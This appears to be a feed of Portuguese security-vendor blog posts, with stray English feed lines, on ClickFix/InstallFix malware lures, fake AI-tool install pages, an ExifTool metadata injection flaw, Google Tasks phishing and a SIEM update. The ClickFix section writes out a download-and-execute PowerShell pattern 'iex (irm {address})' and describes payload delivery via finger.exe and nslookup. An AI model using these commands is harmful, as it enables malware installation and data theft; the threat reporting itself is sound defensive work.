Os phishers atuais raramente desenvolvem e implementam novos truques do zero. A maioria usa kits de phishing, essencialmente pacotes do tipo “faça você mesmo o seu esquema fraudulento”, ou até mesmo plataformas de phishing como serviço em larga escala.

Essas plataformas fornecem aos invasores um kit de ferramentas sofisticado (e altamente frustrante) que está em constante evolução para melhorar a entrega de e-mail e burlar as defesas antiphishing. Por exemplo, essas ferramentas permitem que os invasores, entre muitas outras coisas, façam o seguinte: interceptem cookies de sessão; realizem phishing pelo Google Tarefas (uma tática que abordamos em uma postagem anterior); executem ataques de intermediário (AiTM) para validar a autenticação de dois fatores (2FA) e burlá-la em tempo real; criem sites de phishing equipados com honeypots e geofencing para se esconder dos rastreadores de segurança; e usem assistentes de IA para gerar e-mails de phishing únicos. Para piorar a situação, a infraestrutura dessas plataformas geralmente é hospedada em serviços perfeitamente legítimos como AWS, tornando suas táticas ainda mais difíceis de detectar.

As mesmas plataformas são usadas para criar a página de destino final que coleta credenciais. Nesse caso específico, o aplicativo da Web hospedado no Bubble redireciona as vítimas para um site com uma verificação da Cloudflare que imita a janela de login da Microsoft.

Formulário de phishing projetado para coletar credenciais corporativas

Aparentemente, no universo paralelo dos invasores, o Skype ainda é uma ferramenta de comunicação viável, mas fora isso, o site é bastante convincente.

Como proteger a sua empresa contra ataques de phishing sofisticados

No cenário digital atual, os funcionários precisam entender que as credenciais corporativas devem ser inseridas apenas em serviços e sites que inegavelmente pertencem à empresa. Você pode conscientizar sua equipe sobre ameaças cibernéticas modernas usando a Kaspersky Automated Security Awareness Platform para treinamento on-line.

É claro que até o funcionário mais cauteloso pode ocasionalmente morder a isca. Recomendamos equipar todas as estações de trabalho conectadas à Internet com soluções de segurança robustas que simplesmente bloquearão qualquer tentativa de visitar um site malicioso. Por fim, para reduzir o número de e-mails perigosos que ocupam as caixas de entrada corporativas, sugerimos implementar um produto de segurança de gateway com tecnologias antiphishing avançadas.

Discover how passwordless authentication reduces friction in SMB software, speeds payments, and prevents revenue loss in service businesses.

The post Passwordless for Service SMB Software: Where Friction Actually Kills Revenue appeared first on Security Boulevard.

Recentemente, discutimos como os agentes maliciosos estão espalhando o infostealer AMOS para macOS por meio do Google Ads, utilizando um chat com um assistente de IA no site real da OpenAI para hospedar instruções maliciosas. Decidimos investigar mais a fundo e identificamos várias campanhas maliciosas semelhantes, nas quais invasores distribuem malware disfarçado de ferramentas populares de IA por meio de anúncios na Pesquisa Google. Se as vítimas estiverem procurando por ferramentas específicas do macOS, a carga implementada será o mesmo AMOS; se estiverem no Windows, será o infostealer Amatera. Essas campanhas usam a popular IA chinesa Doubao, o assistente de IA viral OpenClaw ou o assistente de codificação Claude Code como isca. Isso significa que essas campanhas representam uma ameaça não apenas para usuários domésticos, mas também para organizações.

A realidade é que os funcionários corporativos estão usando cada vez mais assistentes de codificação, como o Claude Code, e agentes de automação de fluxo de trabalho, como o OpenClaw. Isso gera seus próprios riscos e é por isso que muitas organizações ainda precisam aprovar ou pagar pelo acesso a essas ferramentas. Como consequência, alguns funcionários tomam a iniciativa para encontrar por conta própria essas ferramentas modernas e vão direto ao Google. Eles digitam um termo de pesquisa e recebem um link patrocinado que leva a um guia de instalação malicioso. Vamos analisar mais de perto como esse ataque acontece, usando como exemplo uma campanha de distribuição do Claude Code descoberta no início de março.

O termo de pesquisa

Um usuário começa a procurar um local para baixar o agente Anthropic e digita algo como “Baixar Claude Code” na barra de pesquisa. O mecanismo de pesquisa retorna uma lista de links, com “links patrocinados” (anúncios pagos) no topo. Um desses anúncios leva o usuário a uma página maliciosa com documentação falsa. Curiosamente, o site em si é construído no Squarespace, um construtor de sites legítimo que ajuda o site dos invasores a ignorar os filtros antiphishing.

Resultados da pesquisa com anúncios na Romênia e no Brasil

O site dos invasores imita meticulosamente a documentação original do Claude Code, incluindo instruções de instalação. Assim como o negócio real, ele solicita que o usuário copie e execute um comando. No entanto, uma vez executado, ele não instala um agente de IA, mas um malware. Essencialmente, esse é apenas outro tipo de ataque ClickFix, que ganhou seu próprio apelido: InstallFix.

Site malicioso que imita as instruções de instalação

Site genuíno do Claude Code com instruções de instalação

Carga maliciosa

Assim como no Claude Code original, o comando para macOS tenta instalar um aplicativo usando o utilitário de linha de comando curl. Na realidade, ele implementa o spyware AMOS, já descrito por nossos especialistas no Securelist, que foi usado em uma campanha anterior semelhante.

No caso do Windows, o malware é instalado usando o utilitário do sistema mshta.exe, que executa aplicativos baseados em HTML em vez de curl, que é usado para o Claude Code genuíno. Esse utilitário implementa o Infostealer Amatera, que coleta dados do navegador, informações da carteira de criptomoedas, bem como informações da pasta do usuário, e os envia para um servidor remoto em 144{.}124.235.102.

Como manter sua empresa segura

O interesse em agentes de IA continua a crescer, e o surgimento de novas ferramentas e sua crescente popularidade estão criando novos vetores de ataque. Especificamente, buscar ferramentas de IA de terceiros pode comprometer o código-fonte local, mas também levar ao comprometimento de segredos, arquivos corporativos confidenciais e contas de usuário.

Para evitar que isso aconteça, a primeira etapa deve ser educar os funcionários sobre esses perigos e os truques usados pelos agentes de ameaças. Isso pode ser feito usando nossa plataforma de treinamento: Kaspersky Automated Security Awareness. Ela também inclui uma lição especializada sobre o uso de IA em ambientes corporativos.

Além disso, recomendamos proteger todos os dispositivos corporativos usando soluções comprovadas de segurança cibernética.

Também sugerimos verificar nosso artigo publicado anteriormente sobre três abordagens para minimizar os riscos do uso de “Shadow AI”.

Há cerca de um ano, publicamos uma postagem sobre a técnica ClickFix, que estava ganhando popularidade entre os invasores. A essência dos ataques usando o ClickFix é convencer a vítima, sob vários pretextos, a executar um comando malicioso em seu computador. Ou seja, do ponto de vista das soluções de segurança cibernética, ele é executado em nome do usuário ativo e com seus privilégios.

Nos primeiros usos dessa técnica, os cibercriminosos tentavam convencer as vítimas de que elas precisavam executar um comando para corrigir algum problema ou passar por um captcha e, na grande maioria dos casos, o comando malicioso era um script do PowerShell. No entanto, desde então, os invasores criaram uma série de novos truques sobre os quais os usuários devem ser avisados, bem como uma série de novas variantes de entrega de carga maliciosa, que também merecem atenção.

Uso de mshta.exe

No ano passado, os especialistas da Microsoft publicaram um relatório sobre ataques cibernéticos direcionados a proprietários de hotéis que trabalham com a Booking.com. Os invasores enviaram notificações falsas do serviço ou e-mails fingindo ser de hóspedes chamando a atenção para uma avaliação. Em ambos os casos, o e-mail continha um link para um site imitando o site Booking.com, que pedia à vítima para provar que não era um robô executando um código pelo menu Executar.

Há duas diferenças principais entre esse ataque e o ClickFix. Primeiro, ninguém pede para o usuário copiar a string (afinal, uma string com código às vezes levanta suspeitas). Ela é copiada para a área de transferência pelo site malicioso, provavelmente quando o usuário clica em uma caixa de seleção que imita o mecanismo reCAPTCHA. Em segundo lugar, a string maliciosa invoca o utilitário mshta.exe legítimo, que serve para executar aplicativos escritos em HTML. Ele entra em contato com o servidor dos invasores e executa a carga maliciosa.

Vídeo no TikTok e PowerShell com privilégios de administrador

A BleepingComputer publicou um artigo em outubro de 2025 sobre uma campanha que espalha malware por meio de instruções em vídeos do TikTok. Os próprios vídeos imitam tutoriais sobre como ativar software proprietário gratuitamente. O conselho que fornecem se resume à necessidade de executar o PowerShell com privilégios de administrador e, em seguida, executar o comando iex (irm {address}). Aqui, o comando irm baixa um script malicioso de um servidor controlado por invasores e o comando iex (Invoke-Expression) o executa. O script, por sua vez, baixa um malware infostealer para o computador da vítima.

Uso do protocolo Finger

Outra variante incomum do ataque ClickFix usa o conhecido truque do captcha, mas o script malicioso usa o antigo protocolo Finger. O utilitário de mesmo nome permite que qualquer pessoa solicite dados sobre um usuário específico em um servidor remoto. Hoje, o protocolo raramente é usado, mas ainda é compatível com Windows, macOS e diversos sistemas baseados em Linux.

O usuário é persuadido a abrir a interface da linha de comando e usá-la para executar um comando que estabelece uma conexão pelo protocolo Finger (usando a porta TCP 79) com o servidor do invasor. O protocolo transfere apenas informações de texto, mas isso é suficiente para baixar outro script para o computador da vítima, que então instala o malware.

Variante CrashFix

Outra variante do ClickFix difere por usar engenharia social mais sofisticada. Ela foi usada em um ataque a usuários que tentavam encontrar uma ferramenta para bloquear banners de publicidade, rastreadores, malware e outros conteúdos indesejados em páginas da web. Ao procurar uma extensão adequada para o Google Chrome, as vítimas encontraram algo chamado NexShield – Advanced Web Guardian, que na verdade era um clone de um software real funcional, mas que em algum momento travava o navegador e exibia uma notificação falsa sobre um problema de segurança detectado e a necessidade de executar uma “verificação” para corrigir o erro. Se o usuário concordasse, ele recebia instruções sobre como abrir o menu Executar e digitar um comando que a extensão havia copiado anteriormente para a área de transferência.

O comando copiava o arquivo finger.exe conhecido para um diretório temporário, o renomeava como ct.exe e, em seguida, iniciava-o com o endereço do invasor. O resto do ataque era idêntico ao caso anterior. Em resposta à solicitação do protocolo Finger, um script malicioso era entregue, que iniciava e instalava um trojan de acesso remoto (neste caso, ModeloRAT).

Entrega de malware por consulta DNS

A equipe de Inteligência de Ameaças da Microsoft também compartilhou uma variante de ataque ClickFix um pouco mais complexa do que o habitual. Infelizmente, eles não descreveram o truque de engenharia social, mas o método de entregar a carga maliciosa é bastante interessante. Provavelmente para dificultar a detecção do ataque em um ambiente corporativo e prolongar a vida útil da infraestrutura maliciosa, os invasores usaram uma etapa adicional: entrar em contato com um servidor DNS controlado pelos invasores.

Ou seja, depois que a vítima é persuadida de alguma forma a copiar e executar um comando malicioso, uma solicitação é enviada ao servidor DNS em nome do usuário por meio do utilitário nslookup legítimo, solicitando dados para o domínio example.com. O comando continha o endereço de um servidor DNS específico controlado pelos invasores. Ele retorna uma resposta que, entre outras coisas, contém uma string com um script malicioso, que por sua vez baixa a carga útil final (neste ataque, ModeloRAT novamente).

Isca de criptomoeda e JavaScript como carga útil

A próxima variante de ataque é interessante por sua engenharia social de vários estágios. Em comentários no Pastebin, os invasores espalharam ativamente uma mensagem sobre uma suposta falha no serviço de câmbio de criptomoedas Swapzone.io. Os proprietários de criptomoedas recebiam convites para visitar um site criado por fraudadores, que continha instruções completas sobre como explorar uma falha capaz de gerar até US$ 13.000 em poucos dias.

As instruções explicavam como as falhas do serviço podiam ser exploradas para trocar criptomoedas a uma taxa mais favorável. Para fazer isso, a vítima precisava abrir o site do serviço no navegador Chrome, digitar manualmente “javascript:” na barra de endereço, colar o script JavaScript copiado do site do invasor e executá-lo. Na realidade, é claro, o script não podia afetar as taxas de câmbio; ele simplesmente substituía os endereços da carteira Bitcoin e, se a vítima realmente tentasse negociar algo, transferiria os fundos para as contas dos invasores.

Como proteger a sua empresa contra ataques ClickFix

Os ataques mais simples que usam a técnica ClickFix podem ser combatidos pelo bloqueio da combinação de teclas [Win] + [R] em dispositivos de trabalho. Mas, como vemos nos exemplos listados, esse está longe de ser o único tipo de ataque em que os usuários são instruídos a executar código malicioso.

Portanto, o principal conselho é aumentar a conscientização em segurança cibernética dos funcionários. Eles devem entender claramente que, se alguém lhes pedir para executar qualquer manipulação incomum no sistema e/ou copiar e colar um código em algum lugar, na maioria dos casos trata-se de um truque usado pelos cibercriminosos. O treinamento de conscientização de segurança pode ser organizado com a Kaspersky Automated Security Awareness Platform.

Além disso, para se proteger contra esses ataques cibernéticos, recomendamos:

• Usar proteção confiável em todos os dispositivos corporativos.
• Monitorar atividades suspeitas na rede da empresa por meio de uma solução XDR.
• Se os recursos internos forem insuficientes, usar um serviço externo para detectar ameaças e responder a elas prontamente.

Why Small and Mid-Size Businesses Need CIAM in 2026 (And Why the Cost Objection No Longer Holds)

The post Why Small and Mid-Size Businesses Need CIAM in 2026 (And Why the Cost Objection No Longer Holds) appeared first on Security Boulevard.

É possível que um computador seja infectado por malware simplesmente ao processar uma foto? Especialmente se esse computador for um Mac, que muitos ainda acreditam, de forma equivocada, ser inerentemente resistente a malware? A resposta é sim. Isso pode ocorrer se você estiver utilizando uma versão vulnerável do ExifTool ou um dos inúmeros aplicativos desenvolvidos com base nele. O ExifTool é uma solução de código aberto amplamente utilizada para ler, gravar e editar metadados de imagens. Trata-se da ferramenta de referência para fotógrafos e arquivistas digitais, sendo também muito empregada em análise de dados, perícia digital e jornalismo investigativo.

Especialistas da nossa equipe GReAT descobriram uma vulnerabilidade crítica, registrada como CVE-2026-3102, que é acionada durante o processamento de arquivos de imagem maliciosos contendo comandos shell incorporados em seus metadados. Quando uma versão vulnerável do ExifTool no macOS processa esse tipo de arquivo, o comando é executado automaticamente. Isso permite que um agente malicioso realize ações não autorizadas no sistema, como baixar e executar um payload a partir de um servidor remoto. Neste post, explicamos em detalhes como esse exploit funciona, apresentamos recomendações práticas de defesa e mostramos como verificar se seu sistema está vulnerável.

O que é o ExifTool?

O ExifTool é um aplicativo gratuito e de código aberto que atende a uma necessidade específica, porém crítica: extrair metadados de arquivos e permitir o processamento tanto desses dados quanto dos próprios arquivos. Metadados são informações incorporadas à maioria dos formatos de arquivo modernos e que descrevem ou complementam o conteúdo principal de um arquivo. Por exemplo, em uma faixa de música, os metadados incluem o nome do artista, o título da música, o gênero, o ano de lançamento, a arte da capa do álbum e assim por diante. Em fotografias, normalmente incluem a data e hora do registro, as coordenadas GPS, as configurações de ISO e a velocidade do obturador, além da marca e do modelo da câmera. Até documentos de escritório armazenam metadados, como o nome do autor, o tempo total de edição e a data original de criação.

O ExifTool é considerado o líder do setor em termos de quantidade de formatos de arquivo compatíveis, além da profundidade, precisão e versatilidade de suas capacidades de processamento. Entre os casos de uso mais comuns estão:

• Ajustar datas se estiverem incorretamente registradas nos arquivos de origem
• Transferir metadados entre diferentes formatos de arquivo (de JPG para PNG, entre outros)
• Extrair miniaturas de pré-visualização de formatos RAW profissionais (como 3FR, ARW ou CR3)
• Recuperar dados de formatos especializados, incluindo imagens térmicas da FLIR, fotos de campo de luz da LYTRO e imagens médicas no formato DICOM
• Renomear arquivos de foto ou vídeo com base no momento real do registro e sincronizar a data e hora de criação do arquivo
• Inserir coordenadas GPS em um arquivo sincronizando-o com um log de trilha GPS armazenado separadamente ou adicionando o nome da localidade habitada mais próxima

E a lista continua. O ExifTool está disponível tanto como aplicativo autônomo de linha de comando quanto como biblioteca de código aberto, o que significa que seu código frequentemente opera nos bastidores de ferramentas mais complexas e multifuncionais. Entre os exemplos estão sistemas de organização de fotos como Exif Photoworker e MetaScope, ou ferramentas de automação de processamento de imagens como ImageIngester. Em grandes bibliotecas digitais, editoras e empresas especializadas em análise de imagens, o ExifTool costuma ser utilizado em modo automatizado, acionado por aplicativos corporativos internos e scripts personalizados.

Como a CVE-2026-3102 funciona

Para explorar essa vulnerabilidade, um invasor precisa criar um arquivo de imagem de uma forma específica. A imagem em si pode ser qualquer uma; o exploit está nos metadados, mais precisamente no campo DateTimeOriginal (data e hora de criação), que precisa estar registrado em um formato inválido. Além da data e da hora, esse campo deve conter comandos shell maliciosos. Devido à forma específica como o ExifTool manipula dados no macOS, esses comandos só serão executados se duas condições forem atendidas:

• O aplicativo ou a biblioteca estiver sendo executado no macOS
• O sinalizador -n (ou –printConv) estiver habilitado. Esse modo gera dados legíveis por máquina, sem processamento adicional. Por exemplo, no modo -n, os dados de orientação da câmera são exibidos simplesmente como “six”, enquanto, com processamento adicional, aparecem na forma mais compreensível “Rotated 90 CW”. Essa conversão para uma forma “legível por humanos” impede a exploração da vulnerabilidade

Um cenário raro, mas de forma alguma impossível, de ataque direcionado poderia ocorrer da seguinte maneira. Um laboratório forense, uma redação de jornal ou uma grande organização que processe documentação jurídica ou médica recebe um arquivo digital de interesse. Pode ser uma fotografia sensacionalista ou uma petição judicial; a isca depende da área de atuação da vítima. Todos os arquivos que entram na organização passam por triagem e catalogação em um sistema de gestão de ativos digitais (DAM). Em grandes empresas, esse processo costuma ser automatizado; profissionais autônomos e pequenas empresas executam o software necessário manualmente. Em ambos os casos, a biblioteca ExifTool precisa estar sendo utilizada nos bastidores desse software. Ao processar a data da fotografia maliciosa, o computador onde o processamento ocorre é infectado por um trojan ou um infostealer, que posteriormente pode roubar todos os dados valiosos armazenados no dispositivo comprometido. Enquanto isso, a vítima pode não perceber absolutamente nada, pois o ataque explora apenas os metadados da imagem, enquanto a própria fotografia pode ser aparentemente inofensiva, legítima e até útil.

Como se proteger da vulnerabilidade do ExifTool

Pesquisadores da equipe GReAT relataram a vulnerabilidade ao autor do ExifTool, que rapidamente lançou a versão 13.50, não suscetível à CVE-2026-3102. As versões 13.49 e anteriores devem ser atualizadas para corrigir a falha.

É fundamental garantir que todos os fluxos de processamento de imagens estejam utilizando a versão atualizada. Verifique se todas as plataformas de gestão de ativos digitais, aplicativos de organização de fotos e quaisquer scripts de processamento em lote de imagens executados em Macs estão habilitando o ExifTool versão 13.50 ou posterior, e se não contêm uma cópia incorporada mais antiga da biblioteca ExifTool.

Naturalmente, o ExifTool, como qualquer software, pode conter outras vulnerabilidades dessa mesma classe. Para reforçar a segurança, recomenda-se também:

• Isolar o processamento de arquivos não confiáveis. Processe imagens provenientes de fontes duvidosas em uma máquina dedicada ou dentro de um ambiente virtual, limitando rigorosamente o acesso desse ambiente a outros computadores, armazenamentos de dados e recursos de rede.
• Monitorar continuamente vulnerabilidades na cadeia de suprimentos de software. Organizações que dependem de componentes de código aberto em seus fluxos de trabalho podem utilizar Open Source Data Feed para acompanhamento.

Por fim, se você trabalha com freelancers ou prestadores autônomos (ou permite o uso de BYOD, Bring Your Own Device), autorize o acesso à sua rede somente se esses dispositivos tiverem uma solução abrangente de segurança para macOS instalada.

Ainda acha que o macOS é totalmente seguro? Então, vale conhecer algumas ameaças recentes direcionadas a Macs:

• Banshee: um malware de roubo de dados que persegue usuários do macOS
• Os Macs são seguros? Ameaças aos usuários do macOS
• O Infostealer entrou no chat
• AirBorne: Ataques a dispositivos da Apple através de vulnerabilidades no AirPlay
• Invasão de Android, macOS, iOS e Linux por meio de uma vulnerabilidade do Bluetooth

Temos discutido repetidamente esquemas de phishing em que invasores exploram vários servidores legítimos para enviar e-mails. Caso consigam sequestrar algum servidor de SharePoint, eles o usarão; caso contrário, se limitarão a enviar notificações por meio de um serviço gratuito, como o GetShared. Contudo, o enorme ecossistema do Google é um dos alvos favoritos dos criminosos, e a bola da vez é o Google Tarefas. Como de costume, este truque tem como principal objetivo driblar os filtros de e-mail, explorando a boa reputação do intermediário.

Como é o phishing no Google Tarefas

O destinatário recebe uma notificação legítima de um endereço @google.com com a mensagem: “Você tem uma nova tarefa”. Basicamente, os invasores tentam fazer parecer que a empresa passou a usar o gerenciador de tarefas do Google e, por isso, a vítima precisa clicar imediatamente em um link para preencher um formulário de verificação.

Para impedir que o destinatário tenha tempo para pensar se isso é necessário, a tarefa geralmente inclui um prazo curto e é marcada com alta prioridade. Ao clicar no link dentro da tarefa, a vítima é direcionada para uma URL que leva a um formulário onde deve inserir suas credenciais corporativas para “confirmar seu status de funcionário”. Essas credenciais, obviamente, são o objetivo final do ataque de phishing.

Como proteger as credenciais de funcionários contra phishing

Naturalmente, os funcionários devem ser alertados sobre a existência desse esquema. Por exemplo, compartilhando um link para o nosso acervo de postagens sobre como identificar o phishing. Mas, na realidade, o problema não é com nenhum serviço específico, mas sim com a cultura geral de segurança cibernética dentro de uma empresa. Os processos de fluxo de trabalho precisam ser claramente definidos para que todos os funcionários entendam quais ferramentas são realmente usadas pela empresa. Recomenda-se manter um documento corporativo público com a lista dos serviços autorizados e as pessoas ou departamentos responsáveis por eles. Isso proporciona aos funcionários um meio de verificar se aquele convite, tarefa ou notificação é legítimo. Além disso, nunca é demais lembrar que as credenciais corporativas devem ser inseridas somente em recursos internos da empresa. Para automatizar o processo de treinamento e manter sua equipe atualizada sobre as ameaças cibernéticas modernas, você pode usar uma ferramenta dedicada, como a Kaspersky Automated Security Awareness Platform.

Além disso, recomendamos reduzir a chegada de e-mails potencialmente perigosos às caixas de entrada dos funcionários com uma solução de segurança de gateway de e-mail especializada. Também é vital equipar todas as estações de trabalho conectadas à Web com um software de segurança. Mesmo que um invasor consiga enganar um funcionário, o produto de segurança bloqueará a tentativa de visitar o site de phishing, evitando o vazamento das credenciais corporativas.

Um número significativo dos incidentes modernos tem início com o comprometimento de contas. Como os agentes de acesso inicial se tornaram uma indústria criminosa plenamente estabelecida, ficou muito mais fácil para invasores organizarem ataques à infraestrutura das empresas simplesmente comprando conjuntos de logins e senhas de funcionários. A ampla adoção de diferentes métodos de acesso remoto tornou essa tarefa ainda mais simples. Ao mesmo tempo, as fases iniciais desses ataques se assemelham com frequência a ações perfeitamente legítimas de colaboradores e permanecem indetectáveis pelos mecanismos tradicionais de segurança por longos períodos.

Confiar apenas nas medidas de proteção da conta e nas políticas de senha não é uma opção. Sempre existe a possibilidade de que invasores obtenham credenciais de funcionários por meio de ataques de phishing, malware do tipo infostealer ou, simplesmente, pela falta de cuidado de usuários que reutilizam a mesma senha em contas profissionais e pessoais e não dão muita atenção a vazamentos ocorridos em serviços de terceiros.

Assim, a detecção de ataques à infraestrutura de uma empresa exige ferramentas que identifiquem não apenas assinaturas isoladas de ameaças, mas também mecanismos de análise comportamental que reconheçam desvios do comportamento normal de usuários e processos do sistema.

Uso de IA no SIEM para detectar comprometimento de contas

Como mencionamos na postagem anterior, para detectar ataques envolvendo comprometimento de contas, o SIEM da Kaspersky Unified Monitoring and Analysis Platform foi equipado com regras UEBA para identificar anomalias em autenticação, atividades de rede e execução de processos em estações de trabalho e servidores Windows. Na atualização mais recente, seguimos desenvolvendo o sistema nessa mesma direção, incorporando abordagens baseadas em IA.

O sistema cria um modelo do comportamento normal dos usuários durante a autenticação e passa a monitorar desvios em relação aos cenários habituais, como horários de login atípicos, cadeias de eventos incomuns e tentativas de acesso anômalas. Essa abordagem permite que SIEM identifique tanto tentativas de autenticação com credenciais roubadas quanto o uso de contas já comprometidas, inclusive em cenários complexos que antes poderiam passar despercebidos.

Em vez de buscar indicadores isolados, o sistema analisa desvios em relação a padrões normais. Isso possibilita a detecção mais precoce de ataques complexos, reduz o número de falsos positivos e diminui significativamente a carga operacional das equipes de SOC.

Anteriormente, ao utilizar regras UEBA para detectar anomalias, era necessário criar diversas regras responsáveis por executar etapas preliminares e gerar listas adicionais nas quais os dados intermediários eram armazenados. Agora, na nova versão do SIEM, com um correlacionador atualizado, é possível detectar o sequestro de contas por meio de uma única regra especializada.

Outras atualizações na Kaspersky Unified Monitoring and Analysis Platform

Quanto mais complexa é a infraestrutura e maior o volume de eventos, mais críticos se tornam os requisitos de desempenho da plataforma, a flexibilidade no gerenciamento de acessos e a facilidade de operação no dia a dia. Um sistema SIEM moderno deve não apenas detectar ameaças com precisão, mas também permanecer resiliente, sem precisar de atualizações constantes de hardware ou de reestruturação de processos. Por isso, na versão 4.2, demos mais um passo para tornar a plataforma mais prática e adaptável. As atualizações impactam a arquitetura, os mecanismos de detecção e a experiência do usuário.

Inclusão de funções flexíveis e controle de acesso granular

Uma das principais inovações da nova versão do SIEM é o modelo flexível de funções. Agora, os clientes podem criar funções personalizadas para diferentes usuários do sistema, duplicar funções existentes e configurar conjuntos específicos de permissões de acordo com as atividades de cada especialista. Isso permite uma diferenciação mais precisa de responsabilidades entre analistas de SOC, administradores e gestores, reduz o risco de concessão excessiva de privilégios e reflete de forma mais fiel os processos internos da empresa nas configurações do SIEM.

Novo correlacionador e, como resultado, maior estabilidade da plataforma

Na versão 4.2, introduzimos uma versão beta de um novo mecanismo de correlação (2.0). Ela processa eventos com maior velocidade e exige menos recursos de hardware. Para os clientes, isso se traduz em:

• operação estável mesmo sob cargas elevadas;
• capacidade de processar grandes volumes de dados sem a necessidade de expansão imediata da infraestrutura;
• desempenho mais previsível.

Cobertura de TTPs de acordo com a matriz MITRE ATT&CK

Também seguimos ampliando sistematicamente a cobertura da matriz de técnicas, táticas e procedimentos MITRE ATT&CK: atualmente, o Kaspersky SIEM cobre mais de 60% de toda a matriz. As regras de detecção são atualizadas regularmente e acompanhadas de recomendações de resposta. Isso ajuda os clientes a entenderem quais cenários de ataque já estão sob controle e a planejarem a evolução das suas defesas com base em um modelo amplamente aceito pelo setor.

Outras melhorias

A versão 4.2 também introduz a possibilidade de realizar backup e restauração de eventos, além da exportação de dados para arquivos seguros com controle de integridade, algo especialmente importante para investigações, auditorias e conformidade regulatória. Consultas em segundo plano foram implementadas para facilitar o trabalho dos analistas. Agora, pesquisas complexas e que consomem muitos recursos podem ser executadas em segundo plano sem impactar tarefas prioritárias. Isso acelera a análise de grandes volumes de dados.

Continuamos atualizando regularmente o Kaspersky SIEM, expandindo suas capacidades de detecção, aprimorando a arquitetura e incorporando funcionalidades de IA para que a plataforma atenda cada vez melhor às condições reais enfrentadas pelas equipes de segurança da informação. O objetivo é não apenas responder a incidentes, mas também ajudar a construir um modelo de proteção sustentável para o futuro. Acompanhe as atualizações sobre o sistema SIEM, a Kaspersky Unified Monitoring and Analysis Platform, na página oficial do produto.